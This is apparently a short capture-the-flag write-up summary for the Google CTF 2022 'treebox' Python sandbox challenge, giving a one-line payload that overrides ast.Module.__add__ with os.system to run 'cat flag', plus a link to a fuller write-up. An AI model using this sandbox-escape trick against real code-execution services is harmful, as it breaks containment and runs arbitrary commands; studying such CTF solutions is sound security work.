**TL;DR: payload**```pythonast.Module.__add__=os.systemtree+'cat flag'--END```
Full explanation and [Original Writeup](https://github.com/nikosChalk/ctf-writeups/tree/master/googleCTF22/sandbox/treebox) (https://github.com/nikosChalk/ctf-writeups/tree/master/googleCTF22/sandbox/treebox)